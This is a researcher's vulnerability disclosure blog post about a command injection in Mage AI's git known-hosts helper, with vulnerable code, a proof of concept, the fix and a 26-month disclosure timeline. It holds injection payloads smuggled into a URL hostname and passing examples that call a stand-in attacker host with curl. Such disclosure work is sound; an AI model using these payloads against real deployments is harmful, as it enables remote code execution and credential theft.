---
title: "Command injection in Mage AI's git config"
slug: command-injection-in-mage-ais-git-config
url: https://listedarticles.com/articles/command-injection-in-mage-ais-git-config
canonical_url: https://aydinnyunus.github.io/2026/10/06/command-injection-mage-ai-git-utils/
content_type: research
language: en
published_at: 2026-10-06T00:00:00.000Z
updated_at: 2026-10-12T08:20:37.948Z
author: "Yunus Aydın"
author_url: https://aydinnyunus.github.io/
authored_by: human
publisher: "Yunus Aydın Blog"
publisher_url: https://aydinnyunus.github.io/
topics: ["Security", "Open Source"]
license: all-rights-reserved
word_count: 1109
reading_minutes: 5
citation: "Yunus Aydın, Yunus Aydın Blog. \"Command injection in Mage AI's git config.\" 6 Oct 2026. https://aydinnyunus.github.io/2026/10/06/command-injection-mage-ai-git-utils/ (all-rights-reserved)"
# The full text follows. The web page shows an extract and sends readers
# to the source above; quote the citation and link the canonical URL.
---

# Command injection in Mage AI's git config

> Yunus Aydın details an OS command injection in Mage AI's git utility code (shell=True with unsanitised config values), with proof of concept, and recounts the 26 months between his April 2024 report and the June 2026 fix merging.

I reported this OS command injection to the [mage-ai](https://github.com/mage-ai/mage-ai) project on April 11, 2024 as [issue #4924](https://github.com/mage-ai/mage-ai/issues/4924). It got the `bug` label, got assigned to a maintainer five days later, and then nothing. The function sat vulnerable in `master` for 26 months. On June 4, 2026, a contributor opened [PR #6117](https://github.com/mage-ai/mage-ai/pull/6117) with a fix referencing my report; I verified it against current `master`, approved it, and it merged on June 23, closing the issue. Twenty-six months from report to patch.

I found this while grepping the repo for `shell=True` after noticing how many data orchestration tools delegate to git over SSH. Mage AI is a Python-based pipeline tool (think Airflow alternative) and its git integration lets users wire a remote repo into the UI. That URL flows straight into a shell.

## The vulnerable code

`mage_ai/data_preparation/git/utils.py` defines a one-line shell helper:

```
def run_command(command: str) -> None:
    proc = subprocess.Popen(args=command, shell=True)
    proc.wait()
```
The caller that matters is `add_host_to_known_hosts`. It takes a remote repo URL from the user, runs it through `urlparse`, and feeds the result into a shell string:

```
def add_host_to_known_hosts(remote_repo_link: str):
    url = remote_repo_link
    if url and not url.startswith('ssh://'):
        url = f'ssh://{url}'
    hostname = urlparse(url).hostname
    if hostname:
        cmd = f'ssh-keyscan -t rsa {hostname} >> {DEFAULT_KNOWN_HOSTS_FILE}'
        run_command(cmd)
        return True
    return False
```
The hostname comes from a string the user controls, and the result is interpolated into a command that runs through `/bin/sh -c`. `urlparse` is a URL parser, not a sanitizer. It will hand back a “hostname” that contains shell metacharacters without complaint.

## Proof of concept

```
from mage_ai.data_preparation.git.utils import add_host_to_known_hosts
add_host_to_known_hosts("ssh://h;touch /tmp/mage_pwn")
```
Output:

```
>>> add_host_to_known_hosts("ssh://h;touch /tmp/mage_pwn")
True
>>> import os; os.path.exists("/tmp/mage_pwn")
True
```
What gets executed:

```
/bin/sh -c 'ssh-keyscan -t rsa h;touch /tmp/mage_pwn >> ~/.ssh/known_hosts'
```
The shell sees the semicolon and runs `touch /tmp/mage_pwn` as a separate command. The file shows up, the function returns `True`, no error is raised. Swap `touch` for `curl http://attacker/$(whoami)` or a reverse shell and you have remote code execution any time the user adds a git remote.

The original PoC I filed in 2024 used the same primitive with a different shape:

```
import subprocess
from urllib.parse import urlparse
subprocess.Popen("pwd" + urlparse("https://;whoami").hostname, shell=True)
```
Same root cause, smaller test harness.

## How it gets triggered

Mage AI exposes a git settings UI where a project owner can enter a remote repository URL. That URL is the input to `add_host_to_known_hosts`. The vulnerability fires the first time the connection is set up. In a multi-tenant deployment (Mage AI is commonly run as a shared internal service for a data team), any user who can configure the git remote can run commands as the Mage AI process user. That process typically has access to pipeline credentials, warehouse connections, and the cloud IAM role attached to the host. Practically, this is RCE on the orchestrator with whatever blast radius the IAM role grants.

## The fix

Stop using `shell=True` and pass arguments as a list. The shell never gets to interpret metacharacters because there is no shell:

```
def add_host_to_known_hosts(remote_repo_link: str):
    url = remote_repo_link
    if url and not url.startswith('ssh://'):
        url = f'ssh://{url}'
    hostname = urlparse(url).hostname
    if not hostname or not _is_valid_hostname(hostname):
        return False
    with open(DEFAULT_KNOWN_HOSTS_FILE, 'a') as f:
        subprocess.run(
            ['ssh-keyscan', '-t', 'rsa', hostname],
            stdout=f,
            check=False,
        )
    return True
```
Two changes carry the weight. `subprocess.run([...])` with a list bypasses `/bin/sh` entirely, so a hostname like `h;touch /tmp/mage_pwn` is passed as a single literal argument to `ssh-keyscan` (which then fails to resolve it, harmlessly). The hostname validation is belt and suspenders: even if a future caller reintroduces `shell=True`, a regex that only accepts `[A-Za-z0-9.-]{1,253}` would have killed the original payload at the door.

The same fix has to be applied to `create_ssh_keys`, which uses the same `urlparse` pattern when it detects CodeCommit URLs.

## Why this keeps showing up

`shell=True` is the default mental model for anyone who has ever written a bash one-liner. You think in pipes and redirections, you type it out as a string, and `subprocess.Popen` accepts that string without complaint. The list-of-args form feels clumsier when you actually need `>>` or `|`, so people reach for `shell=True` to get the redirect they want and then never come back to it.

The other half of the story is that `urlparse` looks like sanitization. It returns a `hostname` attribute. It lowercases the value. It strips the port. It feels like the URL has been parsed and validated. None of that is true in any security sense. `urlparse` will return a hostname for `https://;whoami` and for `https://$(curl attacker.com)` and for `https://a b c`. It is a structural parser, not an allowlist. Anyone treating the output as safe to interpolate into a shell command has misread the contract.

The shape of this bug (user controlled URL, structural parsing that looks like validation, `shell=True` for a one liner that needed a redirect) shows up in almost every data tool that integrates with git over SSH. I have hit it in three other projects in the last year.

## Disclosure timeline

- **April 11, 2024** : I reported the vulnerability to mage-ai as[issue #4924](https://github.com/mage-ai/mage-ai/issues/4924) with the PoC.
- **April 16, 2024** : Issue assigned to a maintainer. No further activity.
- **June 4, 2026** : Contributor gistrec opened[PR #6117](https://github.com/mage-ai/mage-ai/pull/6117) , referencing my report, with a verified reproduction against current`master` , a minimal fix, and a regression test. I reviewed and approved it.
- **June 23, 2026** : PR merged into`master` ; issue #4924 closed. Total time open: 26 months.
- **July 24, 2026** : Follow-up issue[#6166](https://github.com/mage-ai/mage-ai/issues/6166) : the patched function still returns`True` when`ssh-keyscan` fails. The fix closed the injection, not the sloppiness.

If you are running Mage AI in production, upgrade to a build that includes PR #6117. On older versions and forks, the git settings page is still an RCE surface for anyone allowed to configure a remote. And if you maintain something: don’t make a reporter with a working PoC wait 26 months for a one-line fix.

## References

- **mage-ai issue #4924** :[https://github.com/mage-ai/mage-ai/issues/4924](https://github.com/mage-ai/mage-ai/issues/4924)
- **mage-ai PR #6117** (proposed fix):[https://github.com/mage-ai/mage-ai/pull/6117](https://github.com/mage-ai/mage-ai/pull/6117)
- **CWE-78** :[Improper Neutralization of Special Elements used in an OS Command](https://cwe.mitre.org/data/definitions/78.html)
- **Semgrep cheat sheet** :[Python command injection](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)
